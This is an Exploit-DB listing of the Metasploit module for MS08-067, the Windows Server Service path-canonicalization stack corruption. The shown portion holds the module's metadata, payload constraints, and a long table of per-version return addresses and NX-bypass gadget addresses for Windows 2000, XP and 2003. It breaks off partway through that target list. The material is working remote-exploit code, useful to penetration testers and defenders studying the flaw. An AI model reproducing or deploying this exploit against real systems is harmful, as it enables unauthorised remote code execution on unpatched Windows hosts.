Exploit-DB #16362
Description: Microsoft Windows Server - Service Relative Path Stack Corruption (MS08-067) (Metasploit)
Type: remote
Platform: windows
Date: 2011-01-21
Author: Metasploit

Exploit:
##
# $Id: ms08_067_netapi.rb 11614 2011-01-21 04:09:48Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking


	include Msf::Exploit::Remote::DCERPC
	include Msf::Exploit::Remote::SMB


	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft Server Service Relative Path Stack Corruption',
			'Description'    => %q{
					This module exploits a parsing flaw in the path canonicalization code of
				NetAPI32.dll through the Server Service. This module is capable of bypassing
				NX on some operating systems and service packs. The correct target must be
				used to prevent the Server Service (along with a dozen others in the same
				process) from crashing. Windows XP targets seem to handle multiple successful
				exploitation events, but 2003 targets will often crash or hang on subsequent
				attempts. This is just the first version of this module, full support for
				NX bypass on 2003, along with other platforms, is still in development.
			},
			'Author'         =>
				[
					'hdm', # with tons of input/help/testing from the community
					'Brett Moore <brett.moore[at]insomniasec.com>'
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 11614 $',
			'References'     =>
				[
					[ 'CVE', '2008-4250'],
					[ 'OSVDB', '49243'],
					[ 'MSB', 'MS08-067' ],
					# If this vulnerability is found, ms08-67 is exposed as well
					[ 'NEXPOSE', 'dcerpc-ms-netapi-netpathcanonicalize-dos']
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 400,
					'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40",
					'Prepend'  => "\x81\xE4\xF0\xFF\xFF\xFF", # stack alignment
					'StackAdjustment' => -3500,

				},
			'Platform'       => 'win',
			'DefaultTarget'  => 0,
			'Targets'        =>
				[
					#
					# Automatic targetting via fingerprinting
					#
					[ 'Automatic Targeting', { 'auto' => true }	],


					#
					# UNIVERSAL TARGETS
					#

					#
					# Antoine's universal for Windows 2000
					# Warning: DO NOT CHANGE THE OFFSET OF THIS TARGET
					#
					[ 'Windows 2000 Universal',
						{
							'Ret'       => 0x001f1cb0,
							'Scratch'   => 0x00020408,
						}
					], # JMP EDI SVCHOST.EXE

					#
					# Standard return-to-ESI without NX bypass
					# Warning: DO NOT CHANGE THE OFFSET OF THIS TARGET
					#
					[ 'Windows XP SP0/SP1 Universal',
						{
							'Ret'       => 0x01001361,
							'Scratch'   => 0x00020408,
						}
					], # JMP ESI SVCHOST.EXE

					#
					# ENGLISH TARGETS
					#

					# Metasploit's NX bypass for XP SP2/SP3
					[ 'Windows XP SP2 English (NX)',
						{
							'Ret'       => 0x6f88f727,
							'DisableNX' => 0x6f8916e2,
							'Scratch'   => 0x00020408
						}
					], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL


					# Metasploit's NX bypass for XP SP2/SP3
					[ 'Windows XP SP3 English (NX)',
						{
							'Ret'       => 0x6f88f807,
							'DisableNX' => 0x6f8917c2,
							'Scratch'   => 0x00020408
						}
					], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL

					# Standard return-to-ESI without NX bypass
					[ 'Windows 2003 SP0 Universal',
						{
							'Ret'       => 0x0100129e,
							'Scratch'   => 0x00020408,
						}
					], # JMP ESI SVCHOST.EXE


					# Standard return-to-ESI without NX bypass
					[ 'Windows 2003 SP1 English (NO NX)',
						{
							'Ret'       => 0x71bf21a2,
							'Scratch'   => 0x00020408,
						}
					], # JMP ESI WS2HELP.DLL

					# Brett Moore's crafty NX bypass for 2003 SP1
					[ 'Windows 2003 SP1 English (NX)',
						{
							'RetDec'    => 0x7c90568c,	 # dec ESI, ret @SHELL32.DLL
							'RetPop'    => 0x7ca27cf4,  # push ESI, pop EBP, ret @SHELL32.DLL
							'JmpESP'    => 0x7c86fed3,  # jmp ESP @NTDLL.DLL
							'DisableNX' => 0x7c83e413,  # NX disable @NTDLL.DLL
							'Scratch'   => 0x00020408,
						}
					],


					# Standard return-to-ESI without NX bypass
					[ 'Windows 2003 SP1 Japanese (NO NX)',
						{
							'Ret'       => 0x71a921a2,
							'Scratch'   => 0x00020408,
						}
					], # JMP ESI WS2HELP.DLL


					# Standard return-to-ESI without NX bypass
					[ 'Windows 2003 SP2 English (NO NX)',
						{
							'Ret'       => 0x71bf3969,
							'Scratch'   => 0x00020408,
						}
					], # JMP ESI WS2HELP.DLL

					# Brett Moore's crafty NX bypass for 2003 SP2
					[ 'Windows 2003 SP2 English (NX)',
						{
							'RetDec'    => 0x7c86beb8,  # dec ESI, ret @NTDLL.DLL
							'RetPop'    => 0x7ca1e84e,  # push ESI, pop EBP, ret @SHELL32.DLL
							'JmpESP'    => 0x7c86a01b,  # jmp ESP @NTDLL.DLL
							'DisableNX' => 0x7c83f517,  # NX disable @NTDLL.DLL
							'Scratch'   => 0x00020408,
						}
					],


					# Standard return-to-ESI without NX bypass
					[ 'Windows 2003 SP2 German (NO NX)',
						{
							'Ret'       => 0x71a03969,
							'Scratch'   => 0x00020408,
						}
					], # JMP ESI WS2HELP.DLL

					# Brett Moore's crafty NX bypass for 2003 SP2
					[ 'Windows 2003 SP2 German (NX)',
						{
							'RetDec'    => 0x7c98beb8,  # dec ESI, ret @NTDLL.DLL
							'RetPop'    => 0x7cb3e84e,  # push ESI, pop EBP, ret @SHELL32.DLL
							'JmpESP'    => 0x7c98a01b,  # jmp ESP @NTDLL.DLL
							'DisableNX' => 0x7c95f517,  # NX disable @NTDLL.DLL
							'Scratch'   => 0x00020408,
						}
					],


					#
					# NON-ENGLISH TARGETS - AUTOMATICALLY GENERATED
					#

					# Metasploit's NX bypass for XP SP2/SP3
					[ 'Windows XP SP2 Arabic (NX)',
						{